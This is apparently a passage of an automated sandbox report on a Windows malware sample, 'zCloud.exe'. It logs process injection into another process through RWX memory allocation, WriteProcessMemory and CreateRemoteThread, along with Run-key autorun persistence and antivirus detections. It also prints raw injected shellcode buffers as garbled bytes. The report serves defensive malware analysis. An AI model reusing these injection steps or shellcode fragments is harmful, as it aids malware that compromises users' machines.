NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00100000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00110000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00120000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00130000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00140000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00150000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00160000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00170000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00180000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00190000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Hjaysdp

reg_value

C:\Users\Public\Libraries\pdsyajH.url

Creates a thread using CreateRemoteThread in a non-child process indicative of process injection (5 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2084 created a remote thread in non-child process 2844
CreateRemoteThread Sept. 22, 2021, 9:18 a.m.	thread_identifier: 808 process_identifier: 2844 function_address: 0x000f0000 flags: 0 stack_size: 0 parameter: 0x00000000 process_handle: 0x00000184	1	1388	0
CreateRemoteThread Sept. 22, 2021, 9:18 a.m.	thread_identifier: 1168 process_identifier: 2844 function_address: 0x00130000 flags: 0 stack_size: 0 parameter: 0x00120000 process_handle: 0x00000184	1	1388	0
CreateRemoteThread Sept. 22, 2021, 9:18 a.m.	thread_identifier: 2200 process_identifier: 2844 function_address: 0x00170000 flags: 0 stack_size: 0 parameter: 0x00160000 process_handle: 0x00000184	1	1384	0
CreateRemoteThread Sept. 22, 2021, 9:18 a.m.	thread_identifier: 2308 process_identifier: 2844 function_address: 0x00190000 flags: 0 stack_size: 0 parameter: 0x00180000 process_handle: 0x00000184	1	1392	0

Manipulates memory of a non-child process indicative of process injection (13 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2084 manipulating memory of non-child process 2844
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10590000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00100000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00110000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00120000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00130000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00140000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00150000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00160000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00170000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00180000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0
NtAllocateVirtualMemory Sept. 22, 2021, 9:18 a.m.	process_identifier: 2844 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00190000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000184	1	0	0

Potential code injection by writing to the memory of another process (12 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2084 injected into non-child 2844
WriteProcessMemory Sept. 22, 2021, 9:18 a.m.	buffer: hÿhÿ×I¤vÕ³wkernel32.dllÿ ûf@úf¾t°t púfÉ°t ý~Túfla°tQy°tG ý~púf:°t6;¶tûfmØ±tÈúfÈúfÿÿÿÿ4ûf ûf"Dô%ôûfÀ%ôØúf¼öÀöûfUìø]ìøDûfKô base_address: 0x000f0000 process_identifier: 2844 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:18 a.m.	buffer: GetProcAddress base_address: 0x00100000 process_identifier: 2844 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:18 a.m.	buffer: kernel32.dll base_address: 0x00110000 process_identifier: 2844 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:18 a.m.	buffer: Õ³w"¤vE¤v base_address: 0x00120000 process_identifier: 2844 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:18 a.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhpôøhôøèyûÿPèyûÿEèhôøhôøèqyûÿPèsyûÿEäh¤ôøhôøèYyûÿPè[yûÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàº\|óøÃè`üÿÿØÛtjÿSèZzûÿEôPSèÈxûÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x00130000 process_identifier: 2844 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:18 a.m.	buffer: LoadLibraryA base_address: 0x00140000 process_identifier: 2844 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:18 a.m.	buffer: kernel32.dll base_address: 0x00150000 process_identifier: 2844 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:18 a.m.	buffer: Õ³w"¤vE¤v base_address: 0x00160000 process_identifier: 2844 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:18 a.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhpôøhôøèyûÿPèyûÿEèhôøhôøèqyûÿPèsyûÿEäh¤ôøhôøèYyûÿPè[yûÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàº\|óøÃè`üÿÿØÛtjÿSèZzûÿEôPSèÈxûÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x00170000 process_identifier: 2844 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:18 a.m.	buffer: YBY base_address: 0x00180000 process_identifier: 2844 process_handle: 0x00000184	1	1	0
WriteProcessMemory Sept. 22, 2021, 9:18 a.m.	buffer: UìÄøEUøPUü1ÀPjÿuøÿUüYY]Â@UìÄÔSVWúðEÔøêøè aûÿ3ÀUhióødÿ0d ÆEÿG<ÇEô»Ãj@h0Eô@PPEô@4ÃPèÌ{ûÿEð}ðt0hjEðPèÃ{ûÿj@h0Eô@PPEô@4ÃPVè{ûÿEð}ðuû0vEÔPÏUðÆèEÔÀt7EèUàUìUøRUØRPEðPVè{ûÿjjMèº4òøÆè_ýÿÿÀtÆEÿ3ÀZYYdhpóøEÔøêøèà`ûÿÃ base_address: 0x00190000 process_identifier: 2844 process_handle: 0x00000184	1	1	0

File has been identified by 17 AntiVirus engines on VirusTotal as malicious (17 events)

Elastic	malicious (high confidence)
Malwarebytes	Trojan.MalPack.SMY.Generic
Cybereason	malicious.5c1d9f
BitDefenderTheta	Gen:NN.ZelphiF.34170.fLW@ay5cswai
Cyren	W32/Trojan.AIYB-0080
APEX	Malicious
Paloalto	generic.ml
Kaspersky	UDS:DangerousObject.Multi.Generic
McAfee-GW-Edition	BehavesLike.Win32.Infected.th
Sophos	Mal/Generic-S
Gridinsoft	Trojan.Win32.Packed.oa!s1
Cynet	Malicious (score: 100)
McAfee	Artemis!C6855B8E550B
eGambit	Unsafe.AI_Score_99%
Fortinet	W32/GenKryptik.EKLE!tr
CrowdStrike	win/malicious_confidence_70% (W)
MaxSecure	Trojan.Malware.300983.susgen

Network activity contains more than one unique useragent (2 events)

process	zCloud.exe				useragent	zipo
process	zCloud.exe				useragent	aswe

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2252 resumed a thread in remote process 2412
Process injection	Process 2244 resumed a thread in remote process 2488
NtResumeThread Sept. 22, 2021, 9:18 a.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 2412	1	0	0
NtResumeThread Sept. 22, 2021, 9:18 a.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 2488	1	0	0

Uses Sysinternals tools in order to add additional command line functionality (1 event)

cmdline

C:\Windows\System32\mobsync.exe

zCloud.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All